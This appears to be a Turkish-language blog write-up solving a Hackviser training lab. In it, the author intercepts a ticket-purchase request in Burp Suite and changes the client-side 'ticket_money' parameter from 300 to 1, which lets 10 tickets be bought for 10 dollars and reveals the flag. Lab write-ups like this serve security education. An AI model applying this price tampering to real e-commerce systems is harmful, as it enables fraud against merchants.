

Insecure Direct Object References (IDOR)/Ticket Sales

Herkese selamlar bu yazımda [Hackviser](#) üzerinde bulunan Web security lablarından biri olan **Insecure Direct Object References (IDOR)/Ticket Sales** labının çözümünü anlatacağım.

Bizden istenen siteye gittiğimizde bizi aşağıdaki gibi bir sayfa karşılıyor. Sitenin içeriğinde ise basit bir bilet alma ekranı bulunuyor. Default olarak bize verilen hesap 50 dolar ancak bilet fiyatı ise 300 dolar. Bizden istenen ise bilet almamız.

Ticket Sales

Reset

The price of one ticket is **300 \$**
Amount of money in your account: **50 \$**

How many tickets do you want to buy ?

Enter the number of tickets:

Enter the number of tickets

Buy

Sitede gözüken birşey olmadığı için sayfayı burp proxy ile açıp isteği tutuyorum

Time	Type	Direction	Host
Request			
<div> Pretty Raw Hex ln </div>			
1	POST / HTTP/1.1		
2	Host: smiling-arcana.europel.hackviser.space		
3	Content-Length: 26		
4	Cache-Control: max-age=0		
5	Sec-Ch-Ua: "Chromium";v="129", "Not=A?Brand";v="8"		
6	Sec-Ch-Ua-Mobile: ?0		
7	Sec-Ch-Ua-Platform: "Windows"		
8	Accept-Language: tr-TR,tr;q=0.9		
9	Origin: https://smiling-arcana.europel.hackviser.space		
0	Content-Type: application/x-www-form-urlencoded		
1	Upgrade-Insecure-Requests: 1		
2	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36		
3	Accept: text/html,application/xhtml+xml,application/ xml;q=0.9,image/avif,image/webp,image/apng,* /*;q=0.8,application/signed-exchange;v=b3;q= 0.7		
4	Sec-Fetch-Site: same-origin		
5	Sec-Fetch-Mode: navigate		
6	Sec-Fetch-User: ?1		
7	Sec-Fetch-Dest: document		
8	Referer: https://smiling-arcana.europel.hackviser.space/		
9	Accept-Encoding: gzip, deflate, br		
0	Priority: u=0, i		
1	Connection: keep-alive		
2			
3	amount=10&ticket_money=300		
<div> <input type="text" value="Search"/> 0 highlights </div>			
<div> Event log All issues </div>			

Görselde de gözüktüğü gibi "ticket_money=300" gibi bir değer var. Bu değeri aşağıdaki gibi repeater'a atıp 1 olarak değiştiriyorum

```
Priority: u=0, i  
Connection: keep-alive  
.....  
amount=10&ticket_money=1
```

Bunu istek olarak gönderdiğimiz zaman

Response

Pretty

Raw

Hex

Render

The price of one ticket is **300 \$**
Amount of money in your account:
40 \$

How many tickets do you want to buy ?

The purchase was successful.

Number of tickets you bought: 10

Money you pay: 10 \$

Order ID: 65274efc95282d0cc

Enter the number of tickets:

Enter the number of tickets

Buy

Bu şekilde başarılı bir şekilde bileti almış oluyoruz.

Burada flag ise Order ID olarak belirtilen kısım.

Umarım bu yazıyı sıkılmadan okumuşsunuzdur. Keyifli çalışmalar!